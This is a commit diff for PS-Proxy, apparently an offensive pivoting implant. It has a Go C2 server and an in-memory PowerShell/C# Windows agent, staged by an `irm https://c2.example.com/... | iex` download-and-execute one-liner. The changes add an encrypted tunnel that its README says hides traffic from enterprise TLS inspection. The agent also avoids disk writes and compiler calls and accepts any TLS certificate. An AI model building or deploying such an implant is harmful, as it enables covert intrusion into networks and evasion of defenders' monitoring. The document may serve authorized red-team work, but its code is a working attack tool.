Add application-layer tunnel encryption

2026-07-26 08:06:34 +00:00 · 2026-07-22 16:33:01 -07:00
parent 5fd2589a10
commit d6de63e017
9 changed files with 591 additions and 126 deletions
@@ -23,9 +23,9 @@ administrator privileges on the Windows agent host.
 - **Enrollment:** the server creates a short-lived one-time staging URL. The
  generated agent script contains an enrollment token rather than a long-term
  PSK.
- **TLS:** server certificate pinning is mandatory for the agent. The C# core
-  refuses to continue unless the presented server certificate matches the pinned
-  SHA-256 DER hash.
+- **Trust anchor:** TLS is transport and staging only. The agent pins the stable
+  PS-Proxy application identity public key and establishes an authenticated
+  encrypted tunnel inside TLS before enrollment tokens or tunnel frames are sent.
 - **Disk behavior:** release agents do not use `Add-Type`, do not invoke
  `csc.exe` on the target, and do not intentionally write the managed agent DLL
  to disk. The embedded DLL is loaded with
@@ -87,8 +87,11 @@ explicitly with `--agent-assembly-b64-file`.

 ## Start the server with transparent TCP routing

-Use a real certificate whose leaf DER hash will be pinned by the agent. On the
-Linux server, run as root so PS-Proxy can install and remove iptables NAT rules:
+Use a real certificate for HTTPS transport/staging. PS-Proxy will create or reuse
+`psproxy_identity.pem` as the application-layer trust anchor; keep this file
+stable across server restarts and redeployments so existing staged agents trust
+the same server identity. On the Linux server, run as root so PS-Proxy can
+install and remove iptables NAT rules:

 ```bash
 sudo ./psproxy-server \
@@ -114,9 +117,10 @@ The server prints a one-time command:
 irm https://c2.example.com/a/<one-time-id> | iex
 ```

-The generated script auto-starts, loads the embedded C# core in memory, validates
-the pinned server certificate, enrolls with the one-time token, and switches to
-the framed tunnel protocol.
+The generated script auto-starts, loads the embedded C# core in memory, verifies
+the staged PS-Proxy identity public key with an application-layer handshake,
+sends enrollment inside the encrypted/authenticated tunnel, and then uses that
+protected tunnel for all framed TCP and DNS relay traffic.

 ## Optional fixed-target developer TCP relay

@@ -151,8 +155,15 @@ connections during high-concurrency tools such as NetExec; the default is 256. W
 - Use HTTPS staging. Plain HTTP `irm | iex` is mechanically possible, but it is
  not acceptable for sensitive environments because staging tampering means code
  execution on the Windows host.
- The agent pins the server certificate before enrollment or tunnel traffic.
-  Certificate pin mismatch is fatal.
+- TLS is transport only; do not use the HTTPS certificate as the PS-Proxy root of trust.
+- The server has a stable RSA identity key (`--identity-key`, default
+  `psproxy_identity.pem`). If the file is missing, the server generates a
+  3072-bit RSA key and logs the SHA-256 pin of the public key DER.
+- Keep `psproxy_identity.pem` stable and private. Rotating it intentionally
+  changes the PS-Proxy trust anchor and requires staging new agents.
+- The staged agent embeds the server identity public key, performs an
+  application-layer PSP1 handshake, verifies a server HMAC proof, and only then
+  sends enrollment/reconnect tokens inside encrypted authenticated frames.
 - Enrollment URLs are short-lived and one-time use.
 - The enrollment token is placed in the HTTPS response body, not in the URL.
 - Do not log generated agent bodies or enrollment tokens.
@@ -163,30 +174,33 @@ connections during high-concurrency tools such as NetExec; the default is 256. W

 ### TLS inspection / enterprise decryption

-If an authorized enterprise TLS inspection device presents a different leaf
-certificate to the Windows agent than the certificate loaded by the VPS server,
-agent certificate pinning will fail. The safest fix is to exempt the PS-Proxy
-server domain from TLS decryption so the agent sees the VPS certificate directly.
+PS-Proxy now treats HTTPS/TLS as transport and staging rather than as the tunnel
+root of trust. Enterprise TLS inspection products such as Palo Alto, Zscaler, or
+other decrypting proxies may present an enterprise-issued leaf certificate to the
+agent; this should no longer break agent/server trust because the agent verifies
+the staged PS-Proxy identity public key inside the TLS connection.

-For controlled labs where decryption cannot be bypassed, pass the inspected leaf
-certificate SHA-256 DER hash explicitly:
+Operational guidance:

-```bash
--agent-cert-pin-override <64-char-sha256-hex-pin>
-```
-
-Only use this when you control and trust the inspection device. This pins the
-agent to the certificate it actually sees, not the certificate file loaded by the
-VPS server.
+- Keep using HTTPS for staging so the one-time loader is not exposed to trivial
+  network tampering.
+- Keep `psproxy_identity.pem` private and stable. It is the PS-Proxy identity,
+  and its public key pin is what identifies the legitimate server to agents.
+- Back up `psproxy_identity.pem` with the same care as other server secrets. If
+  it is lost and regenerated, previously staged agents will not trust the new
+  identity unless they are restaged with the new public key.
+- TLS inspection can still observe the outer HTTPS transport metadata, but it
+  cannot read or tamper with protected PSP1 tunnel frames after the
+  application-layer handshake without detection.

 ## Current implementation status

 Implemented now:

 - Go TLS listener with mixed HTTP staging and raw agent tunnel handling.
- Leaf certificate pin calculation for generated agent configuration.
+- Stable PS-Proxy RSA identity key generation/reuse with a logged public key pin staged into generated agents.
 - Short-lived one-time staging URLs.
- One-time enrollment token validation for the raw tunnel plus reconnect-token authentication after first enrollment.
+- Application-layer PSP1 secure handshake before enrollment, followed by encrypted/authenticated frame transport and reconnect-token authentication after first enrollment.
 - Agent auto-reconnect with exponential backoff for transient tunnel failures.
 - Framed multiplexed stream protocol.
 - Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs.
@@ -18,7 +18,11 @@ namespace PSProxy.Agent
        private const int MaxPayload = 1 << 20;
        private readonly string server;
        private readonly int port;
-        private readonly string certPin;
+        private readonly string serverKey;
+        private ulong sendSeq;
+        private ulong recvSeq;
+        private byte[] encKey;
+        private byte[] macKey;
        private readonly string enrollToken;
        private readonly string reconnectToken;
        private readonly string dnsTarget;
@@ -27,15 +31,15 @@ namespace PSProxy.Agent
        private SslStream tls;
        private volatile bool stopping;

-        public Tunnel(string server, int port, string certPin, string enrollToken, string reconnectToken, string dnsTarget)
+        public Tunnel(string server, int port, string serverKey, string enrollToken, string reconnectToken, string dnsTarget)
        {
            this.server = server;
            this.port = port;
-            this.certPin = NormalizeHex(certPin);
+            this.serverKey = serverKey;
            this.enrollToken = enrollToken;
            this.reconnectToken = reconnectToken ?? "";
            this.dnsTarget = dnsTarget ?? "";
-            if (this.certPin.Length != 64) throw new ArgumentException("CertPin must be a SHA-256 hex string");
+            if (String.IsNullOrWhiteSpace(serverKey)) throw new ArgumentException("ServerKey is required");
            if (String.IsNullOrWhiteSpace(enrollToken)) throw new ArgumentException("EnrollToken is required");
        }

@@ -70,7 +74,9 @@ namespace PSProxy.Agent
                using (tls = new SslStream(tcp.GetStream(), false, ValidateServerCertificate))
                {
                    tls.AuthenticateAsClient(server, null, SslProtocols.Tls12, false);
-                    WriteAscii("PSP1\nENROLL " + enrollToken + " " + reconnectToken + "\n");
+                    WriteAscii("PSP1\n");
+                    SecureHandshake();
+                    SendFrame(new Frame(0, FramePing, Encoding.ASCII.GetBytes("ENROLL " + enrollToken + " " + reconnectToken)));
                    Frame hello = ReadFrame();
                    if (hello.Type != FramePong || Encoding.ASCII.GetString(hello.Payload) != "OK") throw new Exception("server did not accept enrollment");
                    Console.Error.WriteLine("[ps-proxy] enrolled and ready");
@@ -79,6 +85,52 @@ namespace PSProxy.Agent
            }
        }

+
+        private void SecureHandshake()
+        {
+            byte[] secret = RandomBytes(32);
+            byte[] nonce = RandomBytes(32);
+            byte[] pubDer = Convert.FromBase64String(serverKey.Trim());
+            byte[] encSecret;
+            using (var rsa = new RSACryptoServiceProvider())
+            {
+                rsa.ImportParameters(ParseRsaPublicKey(pubDer));
+                encSecret = rsa.Encrypt(secret, true);
+            }
+            string hello = "HELLO " + B64Url(encSecret) + " " + B64Url(nonce) + "\n";
+            WriteAscii(hello);
+            string proofLine = ReadLineAscii();
+            string[] parts = proofLine.Trim().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
+            if (parts.Length != 3 || parts[0] != "PROOF") throw new Exception("invalid secure handshake proof");
+            byte[] serverNonce = B64UrlDecode(parts[1]);
+            byte[] proof = B64UrlDecode(parts[2]);
+            byte[] expected;
+            using (var h = new HMACSHA256(secret))
+            {
+                expected = h.ComputeHash(Concat(Concat(Concat(Concat(Encoding.ASCII.GetBytes("PSP1\n"), Encoding.ASCII.GetBytes(hello)), serverNonce), nonce), pubDer));
+            }
+            if (!ConstantTimeEquals(proof, expected)) throw new Exception("secure handshake proof mismatch");
+            using (var sha = SHA256.Create())
+            {
+                encKey = sha.ComputeHash(Concat(secret, Encoding.ASCII.GetBytes("psproxy aes-cbc")));
+                macKey = sha.ComputeHash(Concat(secret, Encoding.ASCII.GetBytes("psproxy hmac")));
+            }
+            sendSeq = 0; recvSeq = 0;
+        }
+
+        private string ReadLineAscii()
+        {
+            var ms = new MemoryStream();
+            while (true)
+            {
+                int b = tls.ReadByte();
+                if (b < 0) throw new EndOfStreamException();
+                ms.WriteByte((byte)b);
+                if (b == '\n') return Encoding.ASCII.GetString(ms.ToArray());
+                if (ms.Length > 8192) throw new IOException("line too long");
+            }
+        }
+
        private void ReadLoop()
        {
            while (!stopping)
@@ -191,26 +243,65 @@ namespace PSProxy.Agent
        {
            if (f.Payload == null) f.Payload = new byte[0];
            if (f.Payload.Length > MaxPayload) throw new InvalidOperationException("frame payload too large");
-            byte[] hdr = new byte[13];
-            WriteU64BE(hdr, 0, f.StreamID);
-            hdr[8] = f.Type;
-            WriteI32BE(hdr, 9, f.Payload.Length);
+            byte[] plainFrame = EncodePlainFrame(f);
+            byte[] seq = U64BE(sendSeq);
+            byte[] plain = Concat(seq, plainFrame);
+            byte[] padded = Pkcs7Pad(plain, 16);
+            byte[] iv = RandomBytes(16);
+            byte[] ct;
+            using (var aes = Aes.Create())
+            {
+                aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.None; aes.Key = encKey; aes.IV = iv;
+                using (var enc = aes.CreateEncryptor()) { ct = enc.TransformFinalBlock(padded, 0, padded.Length); }
+            }
+            byte[] body = Concat(iv, ct);
+            byte[] tag;
+            using (var h = new HMACSHA256(macKey)) { tag = h.ComputeHash(Concat(seq, body)); }
+            byte[] rec = Concat(body, tag);
+            byte[] len = new byte[4]; WriteI32BE(len, 0, rec.Length);
            lock (sendLock)
            {
-                tls.Write(hdr, 0, hdr.Length);
-                if (f.Payload.Length > 0) tls.Write(f.Payload, 0, f.Payload.Length);
-                tls.Flush();
+                tls.Write(len, 0, len.Length); tls.Write(rec, 0, rec.Length); tls.Flush();
+                sendSeq++;
            }
        }

        private Frame ReadFrame()
        {
-            byte[] hdr = ReadExact(13);
-            ulong sid = ReadU64BE(hdr, 0);
-            byte typ = hdr[8];
-            int len = ReadI32BE(hdr, 9);
-            if (len < 0 || len > MaxPayload) throw new IOException("frame payload too large: " + len);
-            return new Frame(sid, typ, len == 0 ? new byte[0] : ReadExact(len));
+            int len = ReadI32BE(ReadExact(4), 0);
+            if (len < 48 || len > MaxPayload + 1024) throw new IOException("invalid secure record length: " + len);
+            byte[] rec = ReadExact(len);
+            byte[] body = Slice(rec, 0, len - 32);
+            byte[] tag = Slice(rec, len - 32, 32);
+            byte[] seq = U64BE(recvSeq);
+            byte[] expected;
+            using (var h = new HMACSHA256(macKey)) { expected = h.ComputeHash(Concat(seq, body)); }
+            if (!ConstantTimeEquals(tag, expected)) throw new IOException("secure frame authentication failed");
+            byte[] iv = Slice(body, 0, 16); byte[] ct = Slice(body, 16, body.Length - 16); byte[] pt;
+            using (var aes = Aes.Create())
+            {
+                aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.None; aes.Key = encKey; aes.IV = iv;
+                using (var dec = aes.CreateDecryptor()) { pt = dec.TransformFinalBlock(ct, 0, ct.Length); }
+            }
+            pt = Pkcs7Unpad(pt, 16);
+            ulong gotSeq = ReadU64BE(pt, 0);
+            if (gotSeq != recvSeq) throw new IOException("secure frame sequence mismatch");
+            recvSeq++;
+            return DecodePlainFrame(Slice(pt, 8, pt.Length - 8));
+        }
+
+        private byte[] EncodePlainFrame(Frame f)
+        {
+            byte[] b = new byte[13 + f.Payload.Length];
+            WriteU64BE(b, 0, f.StreamID); b[8] = f.Type; WriteI32BE(b, 9, f.Payload.Length);
+            Buffer.BlockCopy(f.Payload, 0, b, 13, f.Payload.Length); return b;
+        }
+
+        private Frame DecodePlainFrame(byte[] b)
+        {
+            if (b.Length < 13) throw new IOException("frame too short");
+            int len = ReadI32BE(b, 9); if (len < 0 || len > MaxPayload || b.Length != 13 + len) throw new IOException("invalid frame length");
+            return new Frame(ReadU64BE(b, 0), b[8], Slice(b, 13, len));
        }

        private byte[] ReadExact(int n)
@@ -235,13 +326,8 @@ namespace PSProxy.Agent

        private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
        {
-            var cert2 = new X509Certificate2(certificate);
-            using (var sha = SHA256.Create())
-            {
-                string got = BitConverter.ToString(sha.ComputeHash(cert2.RawData)).Replace("-", "").ToLowerInvariant();
-                if (got != certPin) { Console.Error.WriteLine("[ps-proxy] cert pin mismatch: " + got); return false; }
-            }
-            return sslPolicyErrors == SslPolicyErrors.None;
+            // TLS is transport/staging only. PS-Proxy server identity is verified by SecureHandshake.
+            return true;
        }

        private static void SplitTarget(string target, out string host, out int dstPort)
@@ -264,7 +350,35 @@ namespace PSProxy.Agent
            client.EndConnect(ar);
        }

-        private static string NormalizeHex(string s) { return (s ?? "").Trim().ToLowerInvariant().Replace(":", "").Replace(" ", ""); }
+
+        private static byte[] RandomBytes(int n) { byte[] b = new byte[n]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(b); } return b; }
+        private static byte[] Concat(byte[] a, byte[] b) { byte[] o = new byte[a.Length + b.Length]; Buffer.BlockCopy(a,0,o,0,a.Length); Buffer.BlockCopy(b,0,o,a.Length,b.Length); return o; }
+        private static byte[] Slice(byte[] b, int o, int n) { byte[] r = new byte[n]; Buffer.BlockCopy(b,o,r,0,n); return r; }
+        private static byte[] U64BE(ulong v) { byte[] b = new byte[8]; WriteU64BE(b,0,v); return b; }
+        private static string B64Url(byte[] b) { return Convert.ToBase64String(b).TrimEnd('=').Replace('+','-').Replace('/','_'); }
+        private static byte[] B64UrlDecode(string s) { string t = s.Replace('-','+').Replace('_','/'); while (t.Length % 4 != 0) t += "="; return Convert.FromBase64String(t); }
+        private static bool ConstantTimeEquals(byte[] a, byte[] b) { if (a == null || b == null || a.Length != b.Length) return false; int d = 0; for (int i=0;i<a.Length;i++) d |= a[i]^b[i]; return d == 0; }
+        private static byte[] Pkcs7Pad(byte[] b, int block) { int pad = block - (b.Length % block); byte[] o = new byte[b.Length + pad]; Buffer.BlockCopy(b,0,o,0,b.Length); for (int i=b.Length;i<o.Length;i++) o[i]=(byte)pad; return o; }
+        private static byte[] Pkcs7Unpad(byte[] b, int block) { if (b.Length == 0 || b.Length % block != 0) throw new IOException("invalid padding"); int p = b[b.Length-1]; if (p < 1 || p > block || p > b.Length) throw new IOException("invalid padding"); for (int i=b.Length-p;i<b.Length;i++) if (b[i] != p) throw new IOException("invalid padding"); return Slice(b,0,b.Length-p); }
+        private static RSAParameters ParseRsaPublicKey(byte[] spki)
+        {
+            int o = 0;
+            int spkiEnd = BeginTLV(spki, ref o, 0x30);
+            int algEnd = BeginTLV(spki, ref o, 0x30);
+            o = algEnd;
+            byte[] bit = ReadTLV(spki, ref o, 0x03);
+            if (o != spkiEnd || bit.Length < 1 || bit[0] != 0) throw new CryptographicException("invalid public key");
+            o = 1;
+            int rsaEnd = BeginTLV(bit, ref o, 0x30);
+            byte[] mod = ReadTLV(bit, ref o, 0x02);
+            byte[] exp = ReadTLV(bit, ref o, 0x02);
+            if (o != rsaEnd) throw new CryptographicException("invalid public key");
+            if (mod.Length > 1 && mod[0] == 0) mod = Slice(mod, 1, mod.Length - 1);
+            return new RSAParameters { Modulus = mod, Exponent = exp };
+        }
+        private static int BeginTLV(byte[] b, ref int o, int tag) { if (o >= b.Length || b[o++] != tag) throw new CryptographicException("asn1 tag"); int len = ReadLen(b, ref o); if (len < 0 || o + len > b.Length) throw new CryptographicException("asn1 len"); int end = o + len; return end; }
+        private static byte[] ReadTLV(byte[] b, ref int o, int tag) { int end = BeginTLV(b, ref o, tag); byte[] v = Slice(b, o, end - o); o = end; return v; }
+        private static int ReadLen(byte[] b, ref int o) { if (o >= b.Length) throw new CryptographicException("asn1 len"); int v = b[o++]; if ((v & 0x80) == 0) return v; int n = v & 0x7f; if (n < 1 || n > 4 || o + n > b.Length) throw new CryptographicException("asn1 len"); int len = 0; for (int i = 0; i < n; i++) len = (len << 8) | b[o++]; return len; }
        private static void WriteI32BE(byte[] b, int o, int v) { b[o] = (byte)(v >> 24); b[o + 1] = (byte)(v >> 16); b[o + 2] = (byte)(v >> 8); b[o + 3] = (byte)v; }
        private static int ReadI32BE(byte[] b, int o) { return ((int)b[o] << 24) | ((int)b[o + 1] << 16) | ((int)b[o + 2] << 8) | (int)b[o + 3]; }
        private static void WriteU64BE(byte[] b, int o, ulong v) { for (int i = 7; i >= 0; i--) { b[o + i] = (byte)v; v >>= 8; } }
@@ -2,7 +2,7 @@
 param(
    [string]$Server = "{{.Server}}",
    [int]$Port = {{.Port}},
-    [string]$CertPin = "{{.CertPin}}",
+    [string]$ServerKey = "{{.ServerKey}}",
    [string]$EnrollToken = "{{.EnrollToken}}",
    [string]$ReconnectToken = "{{.ReconnectToken}}",
    [string]$DNSTarget = "{{.DNSTarget}}",
@@ -30,13 +30,13 @@ function Start-PSTunnel {
    param(
        [Parameter(Mandatory=$true)][string]$Server,
        [int]$Port = 443,
-        [Parameter(Mandatory=$true)][string]$CertPin,
+        [Parameter(Mandatory=$true)][string]$ServerKey,
        [Parameter(Mandatory=$true)][string]$EnrollToken,
        [string]$ReconnectToken = "",
        [string]$DNSTarget = ""
    )
    if (-not ("PSProxy.Agent.Tunnel" -as [type])) { Import-PSProxyAgentAssembly }
-    $t = New-Object PSProxy.Agent.Tunnel -ArgumentList @($Server, $Port, $CertPin, $EnrollToken, $ReconnectToken, $DNSTarget)
+    $t = New-Object PSProxy.Agent.Tunnel -ArgumentList @($Server, $Port, $ServerKey, $EnrollToken, $ReconnectToken, $DNSTarget)
    $t.Run()
 }
-if (-not $NoAutoStart) { Start-PSTunnel -Server $Server -Port $Port -CertPin $CertPin -EnrollToken $EnrollToken -ReconnectToken $ReconnectToken -DNSTarget $DNSTarget }
+if (-not $NoAutoStart) { Start-PSTunnel -Server $Server -Port $Port -ServerKey $ServerKey -EnrollToken $EnrollToken -ReconnectToken $ReconnectToken -DNSTarget $DNSTarget }
@@ -2,8 +2,13 @@ package main

 import (
 	"bufio"
+	"crypto/hmac"
+	"crypto/rand"
+	"crypto/rsa"
 	"crypto/sha256"
 	"crypto/tls"
+	"crypto/x509"
+	"encoding/base64"
 	"encoding/hex"
 	"encoding/json"
 	"encoding/pem"
@@ -34,7 +39,7 @@ func main() {
 	port := flag.Int("port", 443, "TLS listener port")
 	cert := flag.String("cert", "", "TLS fullchain PEM; defaults to /etc/letsencrypt/live/<domain>/fullchain.pem")
 	key := flag.String("key", "", "TLS private key PEM; defaults to /etc/letsencrypt/live/<domain>/privkey.pem")
-	agentCertPinOverride := flag.String("agent-cert-pin-override", "", "override SHA-256 DER certificate pin embedded in staged agents; use only when an authorized TLS inspection device presents a different leaf cert")
+	identityKeyPath := flag.String("identity-key", "psproxy_identity.pem", "stable RSA identity private key PEM for PS-Proxy application-layer tunnel trust")
 	tun := flag.String("tun", "psproxy0", "TUN interface name for the planned netstack data plane")
 	agentTemplate := flag.String("agent-template", "agent/loader/agent.ps1.tmpl", "PowerShell agent loader template")
 	agentAssemblyFile := flag.String("agent-assembly-b64-file", "", "file containing compressed/base64 PSProxy.Agent.dll; defaults to release/agent_assembly.b64 when present")
@@ -71,16 +76,13 @@ func main() {
 	if err := validateRoutes(routes); err != nil {
 		log.Fatal(err)
 	}
-	pin, err := certPin(*cert)
+	identityKey, err := loadOrCreateIdentityKey(*identityKeyPath)
 	if err != nil {
-		log.Fatalf("certificate pin failed: %v", err)
+		log.Fatalf("identity key load failed: %v", err)
 	}
-	if *agentCertPinOverride != "" {
-		pin, err = normalizeCertPin(*agentCertPinOverride)
+	serverKey, identityPin, err := publicKeyStaging(identityKey)
 	if err != nil {
-			log.Fatalf("invalid --agent-cert-pin-override: %v", err)
-		}
-		log.Printf("WARNING: using operator-supplied agent certificate pin override")
+		log.Fatalf("identity public key encode failed: %v", err)
 	}
 	assembly, err := loadAssemblyB64(*agentAssemblyFile)
 	if err != nil {
@@ -91,11 +93,12 @@ func main() {
 	}
 	tmpl := template.Must(template.ParseFiles(*agentTemplate))
 	store := staging.NewStore(*ttl)
-	sess, err := store.Create(*domain, *port, pin, *dnsTarget)
+	sess, err := store.Create(*domain, *port, serverKey, *dnsTarget)
 	if err != nil {
 		log.Fatal(err)
 	}
 	server := NewTunnelServer(store, *maxStreams)
+	server.identityKey = identityKey
 	mux := http.NewServeMux()
 	mux.HandleFunc("GET /a/{id}", staging.AgentHandler(store, tmpl, assembly))
 	mux.HandleFunc("GET /healthz", func(w http.ResponseWriter, r *http.Request) { _, _ = w.Write([]byte("ok\n")) })
@@ -116,7 +119,8 @@ func main() {
 	addr := fmt.Sprintf("%s:%d", *listen, *port)
 	log.Printf("PS-Proxy Go server starting on https://%s", addr)
 	log.Printf("TLS certificate: %s", *cert)
-	log.Printf("Agent cert pin: %s", pin)
+	log.Printf("PS-Proxy identity key: %s", *identityKeyPath)
+	log.Printf("PS-Proxy identity public key pin: %s", identityPin)
 	log.Printf("Planned TUN target: %s routes=%s", *tun, strings.Join(routes, ","))
 	if *redirect {
 		log.Printf("Transparent redirect mode enabled on 127.0.0.1:%d", *redirectPort)
@@ -133,6 +137,7 @@ func main() {

 type TunnelServer struct {
 	store       *staging.Store
+	identityKey *rsa.PrivateKey
 	mu          sync.Mutex
 	session     *AgentSession
 	nextID      atomic.Uint64
@@ -194,13 +199,14 @@ type AgentSession struct {
 	dnsPending map[uint64]chan []byte
 	locals     map[uint64]*localStream
 	maxStreams int
+	codec      protocol.Codec
 }

 func NewAgentSession(c net.Conn, br *bufio.Reader, maxStreams int) *AgentSession {
 	if maxStreams < 1 {
 		maxStreams = 1
 	}
-	return &AgentSession{conn: c, br: br, closed: make(chan struct{}), pending: map[uint64]chan error{}, dnsPending: map[uint64]chan []byte{}, locals: map[uint64]*localStream{}, maxStreams: maxStreams}
+	return &AgentSession{conn: c, br: br, codec: protocol.NewPlainCodec(br, c), closed: make(chan struct{}), pending: map[uint64]chan error{}, dnsPending: map[uint64]chan []byte{}, locals: map[uint64]*localStream{}, maxStreams: maxStreams}
 }

 func (a *AgentSession) Close() {
@@ -227,7 +233,7 @@ func (a *AgentSession) Close() {
 func (a *AgentSession) send(f protocol.Frame) error {
 	a.sendMu.Lock()
 	defer a.sendMu.Unlock()
-	return protocol.WriteFrame(a.conn, f)
+	return a.codec.WriteFrame(f)
 }

 func (a *AgentSession) Open(id uint64, target string) error {
@@ -280,7 +286,7 @@ func (a *AgentSession) RemoveLocal(id uint64) {
 func (a *AgentSession) Run() {
 	defer a.Close()
 	for {
-		f, err := protocol.ReadFrame(a.br)
+		f, err := a.codec.ReadFrame()
 		if err != nil {
 			log.Printf("agent disconnected: %v", err)
 			return
@@ -648,26 +654,30 @@ func handleTLSConn(raw net.Conn, cfg *tls.Config, mux *http.ServeMux, server *Tu
 }

 func handleAgent(conn net.Conn, br *bufio.Reader, server *TunnelServer) {
-	line, err := br.ReadString('\n')
+	codec := protocol.Codec(protocol.NewPlainCodec(br, conn))
+	if server.identityKey != nil {
+		secure, err := serverHandshake(conn, br, server.identityKey)
 		if err != nil {
+			log.Printf("agent secure handshake failed: %v", err)
 			_ = conn.Close()
 			return
 		}
-	line = strings.TrimSpace(line)
-	const prefix = "ENROLL "
-	if !strings.HasPrefix(line, prefix) {
+		codec = secure
+	}
+	f, err := codec.ReadFrame()
+	if err != nil || f.Type != protocol.FramePing {
 		_ = conn.Close()
 		return
 	}
-	fields := strings.Fields(strings.TrimPrefix(line, prefix))
-	if len(fields) == 0 {
+	fields := strings.Fields(string(f.Payload))
+	if len(fields) == 0 || fields[0] != "ENROLL" || len(fields) < 2 {
 		_ = conn.Close()
 		return
 	}
-	enrollToken := fields[0]
+	enrollToken := fields[1]
 	reconnectToken := ""
-	if len(fields) > 1 {
-		reconnectToken = fields[1]
+	if len(fields) > 2 {
+		reconnectToken = fields[2]
 	}
 	if err := server.store.Authenticate(enrollToken, reconnectToken); err != nil {
 		log.Printf("agent enrollment failed: %v", err)
@@ -675,6 +685,7 @@ func handleAgent(conn net.Conn, br *bufio.Reader, server *TunnelServer) {
 		return
 	}
 	a := NewAgentSession(conn, br, server.maxStreams)
+	a.codec = codec
 	server.SetSession(a)
 	log.Printf("agent enrolled and connected from %s", conn.RemoteAddr())
 	_ = a.send(protocol.Frame{Type: protocol.FramePong, Payload: []byte("OK")})
@@ -682,6 +693,55 @@ func handleAgent(conn net.Conn, br *bufio.Reader, server *TunnelServer) {
 	server.ClearSession(a)
 }

+func serverHandshake(conn net.Conn, br *bufio.Reader, key *rsa.PrivateKey) (*protocol.SecureCodec, error) {
+	line, err := br.ReadString('\n')
+	if err != nil {
+		return nil, err
+	}
+	parts := strings.Fields(strings.TrimSpace(line))
+	if len(parts) != 3 || parts[0] != "HELLO" {
+		return nil, errors.New("expected HELLO")
+	}
+	encSecret, err := base64.RawURLEncoding.DecodeString(parts[1])
+	if err != nil {
+		return nil, err
+	}
+	clientNonce, err := base64.RawURLEncoding.DecodeString(parts[2])
+	if err != nil {
+		return nil, err
+	}
+	if len(clientNonce) != 32 {
+		return nil, errors.New("invalid client nonce")
+	}
+	secret, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, key, encSecret, []byte("PS-Proxy PSP1 session"))
+	if err != nil {
+		return nil, err
+	}
+	if len(secret) != 32 {
+		return nil, errors.New("invalid session secret")
+	}
+	serverNonce := make([]byte, 32)
+	if _, err := rand.Read(serverNonce); err != nil {
+		return nil, err
+	}
+	pubDER, err := x509.MarshalPKIXPublicKey(&key.PublicKey)
+	if err != nil {
+		return nil, err
+	}
+	mac := hmac.New(sha256.New, secret)
+	mac.Write([]byte(protocol.Magic))
+	mac.Write([]byte(line))
+	mac.Write(serverNonce)
+	mac.Write(clientNonce)
+	mac.Write(pubDER)
+	proof := mac.Sum(nil)
+	resp := "PROOF " + base64.RawURLEncoding.EncodeToString(serverNonce) + " " + base64.RawURLEncoding.EncodeToString(proof) + "\n"
+	if _, err := io.WriteString(conn, resp); err != nil {
+		return nil, err
+	}
+	return protocol.NewSecureCodec(br, conn, secret)
+}
+
 type singleListener struct {
 	conn net.Conn
 	done chan struct{}
@@ -716,28 +776,45 @@ type multiFlag []string
 func (m *multiFlag) String() string     { return strings.Join(*m, ",") }
 func (m *multiFlag) Set(v string) error { *m = append(*m, v); return nil }

-func normalizeCertPin(pin string) (string, error) {
-	normalized := strings.ToLower(strings.ReplaceAll(strings.ReplaceAll(strings.TrimSpace(pin), ":", ""), " ", ""))
-	if len(normalized) != 64 {
-		return "", fmt.Errorf("pin must be 64 hex characters after removing colons/spaces")
+func loadOrCreateIdentityKey(path string) (*rsa.PrivateKey, error) {
+	if b, err := os.ReadFile(path); err == nil {
+		block, _ := pem.Decode(b)
+		if block == nil {
+			return nil, fmt.Errorf("no PEM block in %s", path)
 		}
-	if _, err := hex.DecodeString(normalized); err != nil {
-		return "", fmt.Errorf("pin must be hex: %w", err)
+		if k, err := x509.ParsePKCS1PrivateKey(block.Bytes); err == nil {
+			return k, nil
 		}
-	return normalized, nil
+		parsed, err := x509.ParsePKCS8PrivateKey(block.Bytes)
+		if err != nil {
+			return nil, err
+		}
+		k, ok := parsed.(*rsa.PrivateKey)
+		if !ok {
+			return nil, errors.New("identity key is not RSA")
+		}
+		return k, nil
+	} else if !os.IsNotExist(err) {
+		return nil, err
+	}
+	k, err := rsa.GenerateKey(rand.Reader, 3072)
+	if err != nil {
+		return nil, err
+	}
+	b := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(k)})
+	if err := os.WriteFile(path, b, 0600); err != nil {
+		return nil, err
+	}
+	return k, nil
 }

-func certPin(path string) (string, error) {
-	pemBytes, err := os.ReadFile(path)
+func publicKeyStaging(k *rsa.PrivateKey) (string, string, error) {
+	der, err := x509.MarshalPKIXPublicKey(&k.PublicKey)
 	if err != nil {
-		return "", err
+		return "", "", err
 	}
-	block, _ := pem.Decode(pemBytes)
-	if block == nil || block.Type != "CERTIFICATE" {
-		return "", fmt.Errorf("no PEM certificate found in %s", path)
-	}
-	sum := sha256.Sum256(block.Bytes)
-	return hex.EncodeToString(sum[:]), nil
+	sum := sha256.Sum256(der)
+	return base64.StdEncoding.EncodeToString(der), hex.EncodeToString(sum[:]), nil
 }
 func publicURL(domain string, port int) string {
 	if port == 443 {
@@ -2,7 +2,14 @@ package main

 import (
 	"bufio"
+	"crypto/hmac"
+	"crypto/rand"
+	"crypto/rsa"
+	"crypto/sha256"
+	"crypto/x509"
+	"encoding/base64"
 	"net"
+	"strings"
 	"testing"
 	"time"

@@ -124,23 +131,67 @@ func TestSingleListenerAcceptReturnsEOFAfterFirstConn(t *testing.T) {
 		t.Fatal("second accept should return EOF")
 	}
 }
-
-func TestNormalizeCertPin(t *testing.T) {
-	pin := "BC:1D:96:47:91:A5:11:B4:95:26:EC:F2:25:35:37:F6:E6:17:0A:1A:19:4F:45:65:9E:88:0C:A7:A4:3D:6C:02"
-	got, err := normalizeCertPin(pin)
+func TestServerSecureHandshakeEncryptedFrame(t *testing.T) {
+	key, err := rsa.GenerateKey(rand.Reader, 3072)
 	if err != nil {
-		t.Fatalf("normalize pin failed: %v", err)
-	}
-	want := "bc1d964791a511b49526ecf2253537f6e6170a1a194f45659e880ca7a43d6c02"
-	if got != want {
-		t.Fatalf("unexpected normalized pin: %s", got)
-	}
-}
-
-func TestNormalizeCertPinRejectsInvalidPins(t *testing.T) {
-	for _, pin := range []string{"abc", "zz1d964791a511b49526ecf2253537f6e6170a1a194f45659e880ca7a43d6c02"} {
